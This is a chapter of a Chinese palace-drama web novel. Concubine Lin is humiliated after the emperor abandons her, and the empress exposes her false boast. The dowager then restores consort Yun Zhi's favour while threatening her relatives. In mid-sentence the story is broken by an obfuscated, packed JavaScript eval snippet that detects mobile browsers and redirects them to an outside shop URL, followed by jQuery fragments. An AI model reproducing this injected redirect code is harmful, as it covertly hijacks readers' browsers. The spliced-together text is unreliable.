夜色深深,林昭仪坐在精心打扮的步辇上,心中如同揣了一只雀跃的兔子。她被抬往太极宫的路上,只觉得今夜的风都带着甜意。
她被宫人小心翼翼地扶进那象征着无上荣宠的帝王寝殿,心跳如擂鼓。殿内烛火通明,龙涎香的气息幽微浮动。她低垂着头,脸颊绯红,等待着帝王的垂青。
贺兰烬额前的细汗闪着光点,看她的眼神晦暗不明。
然而,预想中的温存并未到来。
林昭仪只听到一阵略显急促的脚步声,眼角的余光瞥见一抹明黄色的身影走出,只随意地披着一件中衣,领口微敞,墨发也未束,脸上带着显而易见的烦躁与疏离。
他甚至没有再看她一眼。
仿佛她只是一个无关紧要的摆设,或者是一缕不小心飘入殿内的空气。
不多时,传来高良儒略显慌乱的声音,:“主子慢点,外面天凉,您加件衣裳。”
殿门在他身后合上,发出沉闷的声响。
林昭仪僵在原地,脸上的红晕瞬间褪去,变得惨白。她满腔的欣喜和期待,如同被一盆冰水从头浇到脚,瞬间冻结。那精心描画的眉眼,此刻只剩下难以置信的错愕和巨大的羞辱感。
这是第二次了。
而贺兰烬,则走入那秋意深重的夜色里,仿佛唯有那冰冷的秋风,才能稍稍平息他心头的燥热与那连他自己都不愿深究的空虚。
次日清晨,凤霄宫内。
妃嫔们依序向皇后请安,气氛看似和谐,底下却暗流涌动。所有人的目光都有意无意的瞟向坐在下首的林昭仪身上。昨夜,她可是三个月来头一个被抬进太极宫的人。
林昭仪感受到那些目光,心中虽因昨夜的冷遇而羞愤难当,面上却强撑着,甚至刻意垂下眼睫,脸上飞起两抹恰到好处的红晕,带着几分欲说还休的羞涩,声音不大不小,刚好能让周围几人听见:“皇后娘娘有所不知,陛下他,昨日甚是勇猛,臣妾都有些受不住呢。”
她这话说的含糊,却引人遐想,仿佛皇帝对她如何恩宠有加,缠绵非常。
几个低位妃嫔闻言,眼中立刻流露出羡慕甚至嫉妒的神色。
然而,坐在上首的皇后,却只是端起茶盏,用茶盖轻轻拨弄着浮沫,连眼皮都未抬一下,唇角勾起一抹毫不掩饰的冰冷讥诮。
“哦?是吗?”皇后的声音不高,却清晰的传入每个人耳中,带着刺骨的寒意,“可本宫怎么听闻,陛下昨夜撇下你,独自去殿外吹了一夜的冷风,如今……正发着高热,卧床不起呢?”
她终于抬起眼,目光如冰冷的针,直刺林昭仪瞬间煞白的脸。
“伺候圣驾不利,让陛下染上了风寒,昨夜当值的太监已被问责。”皇后语气平淡,却字字诛心,“林昭仪,你昨夜就是这么‘伺候’陛下的?”
方才那些羡慕嫉妒的目光,瞬间变成了毫不掩饰的嘲讽,鄙夷,甚至还有一丝幸灾乐祸。
林昭仪脸上的血色霎时褪得干干净净,那抹强装出来的羞涩红晕变成了难堪的惨白。她只觉得脸上火辣辣的,仿佛被当众剥光了衣服,无地自容。她张了张嘴,却一个字也说不出来,恨不能找个地缝钻进去。
皇后面无表情地看着她这副狼狈的模样,心中冷笑。想借机争宠?也不掂量掂量自己的分量。皇帝连月来的异常,岂是她这种蠢货能轻易揣测和利用的?
“既然身子不适,就同云嫔一样,回去好生歇着吧,这几日的请安,也免了。”皇后挥挥手,如同打发一件碍眼的物事。
林昭仪几乎是踉跄着行礼告退,在众人各异的目光中,逃也似的离开了凤霄宫。
经此一事,后宫众人更加清晰地认识到,皇帝的心,如今深沉似海,难以捉摸。而那真正的风暴中心,似乎依旧围绕着那个颇似昭贵妃的云嫔。
寿康宫中,檀香袅袅。
听闻林昭仪在皇后宫中的那场闹剧,太后只是轻嗤一声,眼中闪过一丝不屑:“蠢货,这点不上台面的小伎俩。”在她看来,林昭仪这等争宠手段,幼稚且徒劳,甚至有些可笑。
然而,当孙姑姑紧接着禀报皇帝因吹冷风而发高热未有好转时,太后捻着佛珠的手指猛地一顿,脸上那惯常的雍容平静出现了一丝裂痕,眼底深处飞快地掠过一抹真切地担忧。
她沉默了片刻,眼神变幻,最终归于一片沉静的决断。
“去,”太后声音恢复了一贯的平稳,却带着的少有的力度,“传哀家的意思给司礼监,云嫔的膳牌……重新做上,放回去吧。”
这道命令下得轻描淡写,却让身旁侍立的孙姑姑心中一震:“太后娘娘,您这是……”
主动退了一步?在皇帝生病这个节骨眼上,恢复云嫔的牌子,其意味不言自明。
太后嘴角稍稍勾起一丝不易察觉的弧度:“先前不同意重新放回云嫔的牌子,是不想让皇帝觉得哀家迫于他的压力才不得不同意。可如今不同了,皇帝生病,哀家是心疼皇帝才松口。”
“还有,”太后继续说道,语气听不出喜怒,“传云嫔来哀家这儿一趟。”
恩威并施,这才是太后的手段。
恢复膳牌,是恩。但这份恩,绝不能让她轻易得到,必须伴随着威,让她清楚自己的位置,记得是谁给了她这次机会,以及违背意志的后果。
没有那些强加的安胎药、避子汤的侵蚀,加之日复一日沉浸在笔墨丹青之中,心绪得以在方寸画纸上短暂栖居,云嫔的气色肉眼可见的好了起来。
原本苍白的脸颊透出了健康的红润,肌肤莹润,眼眸也因专注于喜爱之事而恢复了往日的神采,甚至更添了几分沉静通透的光泽。
云栀正对着一幅即将完成的秋菊图勾勒最后几笔,窗外秋光正好,殿内安宁得只听到笔尖与绢帛摩擦的细微声响。
然而,这份难得的宁静,被殿外一声清晰的通传骤然打破:“太后娘娘懿旨,传云嫔即刻前往寿康宫见驾!”
握着画笔的手指几不可察地一顿,一滴浓墨猝不及防地滴落在画好的菊瓣上,迅速晕开一团刺目的污迹。
云栀怔怔的看着那团墨迹,仿佛看到了自己刚刚恢复些许生气的生活,即将被另一股无法抗拒的力量再次搅乱。
她缓缓放下画笔,看着镜中自己刚刚恢复些神采的容颜,嘴角牵起一丝苦涩的弧度。这短暂的好气色,在这突如其来的传召面前,显得如此脆弱和不合时宜。
“更衣。”她轻声吩咐身边的红袖,声音里带着一丝不易察觉的疲惫。
踏入寿康宫时,感受到的便是冰火两重天的氛围。
太后并未让她久跪,甚至赐了座,语气也算得上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738429|183353||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温和,先是询问了她的“病情”,又貌似关切地问及她近日可还顺心。
然而,话锋随即一转。
“哀家知道你是个懂规矩的。”太后的目光变得锐利起来,“皇帝龙体欠安,乃国之大事。后宫妃嫔,当以侍奉君上,为皇家开枝散叶为己任。更何况你还有亲人远在北疆,即便不为自己打算,也该为亲人着想,你可明白?”
这话语中的敲打之意,如同冰锥,刺入云栀心中。这是在警告她,要乖乖听话,否则遭殃的将是她的亲人。
云栀垂首,恭敬应答:“奴才明白,谨遵太后娘娘教诲。”
“嗯,”太后满意地点点头,语气复又缓和,“你的膳牌,哀家已命司礼监重新做上了。往后,好好伺候皇帝,若能有所出,便是你的造化,也是你的本分。”
云栀尚未从这番敲打中定下心神,正欲告退,太后却像是忽然想起了什么,又唤住了她。
“等等。”太后的语气缓和了些许,仿佛刚才那冰锥般的警告从未发生。她侧首对身旁的孙姑姑略一示意,“去将哀家那副赤金点翠垂珠耳坠,连同那支羊脂白玉如意一并取来。”
孙姑姑领命而去,很快便端着两个精致的锦盒回来。
太后看着宫人将锦盒奉至云栀面前,声音恢复了往常的雍容,甚至带上了一丝浅淡得几乎不存在的笑意:“你性子沉静,衣着也素雅。这些首饰颜色鲜亮些,正可点缀一二,瞧着也精神。拿去吧,好生收着。”
这对耳坠与玉簪,显然与之前那些制式赏赐不同,更显精巧别致,带着太后个人上完的印记,意义自然又深了一层。
云栀心中雪亮。
她再次深深下拜,姿态比之前更加恭顺:“奴才,谢太后娘娘恩典,娘娘赏赐太过厚重,奴才受之有愧。”她将姿态放得极低。
“哀家赏你的,你便受着。”太后淡淡道,“只需要记住哀家的话,便是对哀家最好的谢恩了。”
“奴才谨记,绝不敢忘。”
太后端起茶盏,并未立刻引用,只是借着氤氲的热气掩去眼底一丝真切的忧虑,化作一声几不可闻的轻叹。
“唉……”
她将茶盏轻轻放下,目光似是不经意地落在云栀身上,语气带着一种恰到好处的挂念:“皇帝昨夜吹了冷风,清晨时传来皇帝高热的消息,着实让人忧心,如今也不知道……好了没有。”
她的话语在此处微微一顿,抬起眼,目光与云栀低垂的视线有了一个短暂的接触,那眼神里含着一丝不易察觉的深意。
“虽说有太医精心照料,但身边总得有个知冷知热,细心体贴的人看着,哀家才能稍稍放心些。”太后语气温和,却字字清晰,但每一个音节都落在云栀的心上,“你是懂事的,也该……替哀家分分忧,去瞧瞧皇帝。”
这不是建议,是命令。是裹着关怀外衣的指令。
不等她谢恩,太后身边的孙姑姑已然上前:“云小主,请随奴婢来。”
云栀不解其意,抬眸看向太后。
太后幽深的眸子看向手中捻动的佛珠:“许久未见皇帝了,总要梳洗一番再去。”
云栀心中了然,太后这是要将她从头到脚,都打造成一件符合圣意的礼物,呈到皇帝面前。
云嫔再次行礼,随着孙姑姑退下。